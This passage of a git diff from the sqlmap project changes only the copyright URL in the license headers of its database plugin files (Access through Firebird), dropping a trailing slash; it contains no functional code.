'LICENSE' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 6ae5795aac9..f85e11d06e1 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 1344843f483..b0d26e2df3f 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 016c5edd2f4..53a874a752d 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 855e90e931e..79b4d39ae28 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index e0a03d6cf76..81ef53ebca6 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index ec72cbb43e2..594bd9c960e 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index f4b1b0181e0..62bab6392f4 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py index 3f3b5a75e5d..13a58503ba5 100644 --- a/plugins/dbms/altibase/__init__.py +++ b/plugins/dbms/altibase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py index 0c3b1bcc46c..04be3a36fea 100644 --- a/plugins/dbms/altibase/connector.py +++ b/plugins/dbms/altibase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py index 3f03140f2df..c9c814ec463 100644 --- a/plugins/dbms/altibase/enumeration.py +++ b/plugins/dbms/altibase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py index 40cc82d477f..8c6cfda2daa 100644 --- a/plugins/dbms/altibase/filesystem.py +++ b/plugins/dbms/altibase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py index f250c9c5698..c87f7f3a5c3 100644 --- a/plugins/dbms/altibase/fingerprint.py +++ b/plugins/dbms/altibase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py index 0cc46217cbd..e325d14061c 100644 --- a/plugins/dbms/altibase/syntax.py +++ b/plugins/dbms/altibase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py index 30ba6765889..3d70dc11265 100644 --- a/plugins/dbms/altibase/takeover.py +++ b/plugins/dbms/altibase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/__init__.py b/plugins/dbms/cache/__init__.py index a9cfb6269c8..16676462606 100644 --- a/plugins/dbms/cache/__init__.py +++ b/plugins/dbms/cache/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py index 0f59e36ddaf..ef7f1c7d546 100644 --- a/plugins/dbms/cache/connector.py +++ b/plugins/dbms/cache/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py index c04235230a7..5b1ab80df06 100644 --- a/plugins/dbms/cache/enumeration.py +++ b/plugins/dbms/cache/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/filesystem.py b/plugins/dbms/cache/filesystem.py index 40cc82d477f..8c6cfda2daa 100644 --- a/plugins/dbms/cache/filesystem.py +++ b/plugins/dbms/cache/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py index d056122b87d..59e89c29ea3 100644 --- a/plugins/dbms/cache/fingerprint.py +++ b/plugins/dbms/cache/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/syntax.py b/plugins/dbms/cache/syntax.py index d1183d84923..92863b0fceb 100644 --- a/plugins/dbms/cache/syntax.py +++ b/plugins/dbms/cache/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/takeover.py b/plugins/dbms/cache/takeover.py index bbcc683a1d4..3d510b61013 100644 --- a/plugins/dbms/cache/takeover.py +++ b/plugins/dbms/cache/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index 2df4b95ad43..c27aa99b569 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py index 92e93c9339a..f0c8e6bafa4 100755 --- a/plugins/dbms/clickhouse/connector.py +++ b/plugins/dbms/clickhouse/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py index 4df277707a6..cfdff2aa080 100755 --- a/plugins/dbms/clickhouse/enumeration.py +++ b/plugins/dbms/clickhouse/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py index 689811907a7..ddeb9daf069 100755 --- a/plugins/dbms/clickhouse/filesystem.py +++ b/plugins/dbms/clickhouse/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py index 8bcca94ccc0..bc38e69d0b9 100755 --- a/plugins/dbms/clickhouse/fingerprint.py +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py index 5f3434c561a..22334001a82 100755 --- a/plugins/dbms/clickhouse/syntax.py +++ b/plugins/dbms/clickhouse/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py index 052f6f4c570..7bfa7e63726 100755 --- a/plugins/dbms/clickhouse/takeover.py +++ b/plugins/dbms/clickhouse/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py index ba9acdb8cc1..9ca90d45e0c 100644 --- a/plugins/dbms/cratedb/__init__.py +++ b/plugins/dbms/cratedb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py index 32001d2c37a..2b22b29ff7f 100644 --- a/plugins/dbms/cratedb/connector.py +++ b/plugins/dbms/cratedb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py index 049a74707e5..96fc02f19fc 100644 --- a/plugins/dbms/cratedb/enumeration.py +++ b/plugins/dbms/cratedb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py index 40cc82d477f..8c6cfda2daa 100644 --- a/plugins/dbms/cratedb/filesystem.py +++ b/plugins/dbms/cratedb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py index 1bc9c4d4c6b..4e2ae0ff20b 100644 --- a/plugins/dbms/cratedb/fingerprint.py +++ b/plugins/dbms/cratedb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py index 46a6a2f556c..34334943d04 100644 --- a/plugins/dbms/cratedb/syntax.py +++ b/plugins/dbms/cratedb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py index 4c3df8be4c9..01f240275da 100644 --- a/plugins/dbms/cratedb/takeover.py +++ b/plugins/dbms/cratedb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py index 1f043092bb0..234c742953e 100644 --- a/plugins/dbms/cubrid/__init__.py +++ b/plugins/dbms/cubrid/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py index b61bcd2034a..9a250f102e6 100644 --- a/plugins/dbms/cubrid/connector.py +++ b/plugins/dbms/cubrid/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py index fdd676849e1..b3e8fb8daef 100644 --- a/plugins/dbms/cubrid/enumeration.py +++ b/plugins/dbms/cubrid/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py index 40cc82d477f..8c6cfda2daa 100644 --- a/plugins/dbms/cubrid/filesystem.py +++ b/plugins/dbms/cubrid/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py index 1208e652beb..8c0f4adf551 100644 --- a/plugins/dbms/cubrid/fingerprint.py +++ b/plugins/dbms/cubrid/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py index bab1eb640eb..42b251df312 100644 --- a/plugins/dbms/cubrid/syntax.py +++ b/plugins/dbms/cubrid/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py index 5ff3aa03e65..b0820e4608c 100644 --- a/plugins/dbms/cubrid/takeover.py +++ b/plugins/dbms/cubrid/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index cf3b04cbeb9..5d88f494eb9 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index 0fde474af95..2a16e89bdd8 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index 67b201c83d4..00d4cf330bc 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 40cc82d477f..8c6cfda2daa 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 033c5cd0992..888d7e7a2c2 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 0cc46217cbd..e325d14061c 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index 2f12d47d72f..9458522fac3 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py index b98ad256976..b150f970ff1 100644 --- a/plugins/dbms/derby/__init__.py +++ b/plugins/dbms/derby/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py index 362e59d34db..28afd687ce0 100644 --- a/plugins/dbms/derby/connector.py +++ b/plugins/dbms/derby/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py index 149605d85a5..a0cad4e642a 100644 --- a/plugins/dbms/derby/enumeration.py +++ b/plugins/dbms/derby/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py index 40cc82d477f..8c6cfda2daa 100644 --- a/plugins/dbms/derby/filesystem.py +++ b/plugins/dbms/derby/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py index 44b778464df..a4bfb55c3e0 100644 --- a/plugins/dbms/derby/fingerprint.py +++ b/plugins/dbms/derby/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py index 46a6a2f556c..34334943d04 100644 --- a/plugins/dbms/derby/syntax.py +++ b/plugins/dbms/derby/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py index c2343ae2275..b8250b49396 100644 --- a/plugins/dbms/derby/takeover.py +++ b/plugins/dbms/derby/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/__init__.py b/plugins/dbms/extremedb/__init__.py index 7022d5384be..a2200c9563e 100644 --- a/plugins/dbms/extremedb/__init__.py +++ b/plugins/dbms/extremedb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/connector.py b/plugins/dbms/extremedb/connector.py index ae551c733d2..c23dc942ef2 100644 --- a/plugins/dbms/extremedb/connector.py +++ b/plugins/dbms/extremedb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py index 7652f65136e..1b835bc1f6e 100644 --- a/plugins/dbms/extremedb/enumeration.py +++ b/plugins/dbms/extremedb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/filesystem.py b/plugins/dbms/extremedb/filesystem.py index d2b5ee6fc1b..e87e3fec2dc 100644 --- a/plugins/dbms/extremedb/filesystem.py +++ b/plugins/dbms/extremedb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py index 7abdf847957..aca8dd4f223 100644 --- a/plugins/dbms/extremedb/fingerprint.py +++ b/plugins/dbms/extremedb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/syntax.py b/plugins/dbms/extremedb/syntax.py index 46a6a2f556c..34334943d04 100644 --- a/plugins/dbms/extremedb/syntax.py +++ b/plugins/dbms/extremedb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/takeover.py b/plugins/dbms/extremedb/takeover.py index 64ca398482c..5c6afca12f6 100644 --- a/plugins/dbms/extremedb/takeover.py +++ b/plugins/dbms/extremedb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 2ab9cf4420c..8d786d145af 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 35ca2787b17..e3522ae12f1 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 86761658ae5..903664dcb82 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index 88588c63061..8b16d3e6c0b 100644 --- a/plugins/dbms/firebird/filesystem.py +++ 